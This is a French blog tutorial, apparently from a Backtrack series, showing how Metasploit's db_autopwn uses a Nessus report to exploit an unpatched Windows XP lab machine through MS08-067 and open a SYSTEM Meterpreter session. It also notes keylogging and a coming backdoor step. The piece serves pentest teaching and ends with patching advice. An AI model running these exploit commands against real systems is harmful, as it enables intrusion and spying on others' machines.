Backtrack – Exploitation de faille
Nous continuons la série d’articles consacrés à Backtrack.
L’exploitation de faille est un moment excitant. Toutes les recherches engagées vont normalement porter ses fruits. Nous allons enfin explorer les faiblesses d’un réseau ou d’un système.
Suivant les vulnérabilités, il y a des tonnes de possibilités en matière d’exploitation. Si vous voulez en savoir plus, faites comme moi et achetez un bon bouquin relatant des techniques de Hacking. Vous comprendrez mieux quelles sont les différentes méthodes pour exploiter une faille, ainsi que les différents types de failles.
Comme il existe beaucoup de types de failles, et énormément de méthodes, je m’arrêterai sur un cas général, en appliquant une technique “classique”.
Après avoir collecté un tas d’informations sur le réseau, ainsi que sur la machine ciblée, nous avons évaluer ses vulnérabilités. Rappelez-vous de notre bon ami Nessus qui nous a clairement indiqué que la machine cible avait comme système d’exploitation Windows XP SP3, et proposait le service de système de fichiers réseau CIFS. Seulement voilà, cette machine est vulnérable. Non pas parce qu’elle utilise ce service, mais parce que l’administrateur de la machine n’a pas pris le temps de mettre à jour régulièrement son système d’exploitation via Windows Update, ainsi que l’antivirus
Sachez que les tests réalisés en réseau local ont été effectué avec l’antivirus Avira Antivir (ainsi qu’une base de données antivirale de moins d’un an), sur un Windows XP SP3 sans mises à jour récentes.
Vous serez surpris de voir qu’il existe énormément d’ordinateurs au monde dans ce cas là. Ils sont souvent la proie des virus sur Internet (qui aident notamment à réaliser des attaques DDoS (Distributed Denial of Service).
Dans notre étude de cas, nous allons utiliser Metasploit Framework (MSF).
Sa base de données contient tous les exploits / payloads connus à ce jour. Bien entendu, pour une bonne utilisation de cet outil, il est important de le mettre à jour régulièrement (voir même avant chaque utilisation) avec la commande “msfupdate“.
Dans un terminal, démarrez l’outil “msfconsole“.
root@root:~# msfconsole _ | | o _ _ _ _ _|_ __, , _ | | __ _|_ / |/ |/ | |/ | / | / \\_|/ \\_|/ / \\_| | | | |_/|__/|_/\\_/|_/ \\/ |__/ |__/\\__/ |_/|_/ /| \\| =[ metasploit v3.7.0-release [core:3.7 api:1.0] + -- --=[ 684 exploits - 355 auxiliary + -- --=[ 217 payloads - 27 encoders - 8 nops msf > |
Nous allons utiliser le résultat du scan Nessus exécuté dans dans la recherche de vulnérabilité (dernier article), et l’importer dans une base de données SQL :
msf > db_import /root/nessus_report_Win.nessus [*] Importing 'Nessus XML (v2)' data [*] Importing host 192.168.128.129 [*] Successfully imported /root/nessus_report_Win.nessus msf > db_import /root/nessus_report_Win.nessus [*] Importing 'Nessus XML (v2)' data [*] Importing host 192.168.128.132 [*] Successfully imported /root/nessus_report_Win.nessus |
MSF connaît maintenant votre victime : comment la joindre, et surtout quelles sont les vulnérabilités trouvées par Nessus.
Nous allons lancer une commande qui va automatiquement exploiter l’un des failles disponibles afin d’obtenir une session avec la machine distante. Admirez le travail :
msf > db_autopwn -x -e [*] (1/3 [0 sessions]): Launching exploit/windows/smb/ms08_067_netapi against 192.168.128.132:445... [*] (2/3 [0 sessions]): Launching exploit/windows/smb/ms06_040_netapi against 192.168.128.132:445... [*] (3/3 [0 sessions]): Launching exploit/windows/smb/psexec against 192.168.128.132:445... [*] (3/3 [0 sessions]): Waiting on 3 launched modules to finish execution... [*] Meterpreter session 1 opened (192.168.128.138:48400 -> 192.168.128.132:6313) at 2011-09-05 09:40:24 -0400 [*] (3/3 [1 sessions]): Waiting on 1 launched modules to finish execution... |
0wned ! Le tour est joué, la machine distante est prise au piège. Nous avons utiliser l’exploit ms08_067_netapi pour pénétrer le système.
Pour retrouver une session ouverte, il suffit d’exécuter cette commande :
msf > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter x86/win32 AUTORITE NT\\SYSTEM @ VICTIME-484AF1D 192.168.128.138:48400 -> 192.168.128.132:6313 |
Et maintenant ?
Maintenant passons aux vilaines choses.
Pour obtenir le shell d’une session ouverte, il suffit de l’appeler par son ID :
session -i 1 |
Ensuite, la commande “help” vous éclairera sur la suite. Vous pouvez par exemple explorer les fichiers, prendre une capture d’écran, enregistrer les touches du clavier utilisées et encore plein d’autres trucs, dont des tâches administratives.
Cependant, un hacker ayant obtenu le shell d’un système essaye dans la plupart des cas de rester discret.
Dans le prochain article, nous allons voir comment installer un “backdoor” afin de pouvoir revenir plus tard sur le système sans exploiter de faille.
Ah oui, j’oubliais. Backtrack fournit une excellente interface graphique à MSF : “Armitage“.
Par rapport aux autres articles, aucune nouveauté en matière de lutte contre ce genre d’attaque. Un antivirus à jour, un pare-feu bien configuré, un système d’exploitation récent et à jour suffiront à éviter ce genre d’exploitation.
Aujourd’hui, les systèmes les plus vulnérables sont les sites Web qui sont très souvent victimes d’injections SQL permettant de récupérer des fichiers importants, et de compromettre la sécurité du serveur, et donc du réseau tout entier.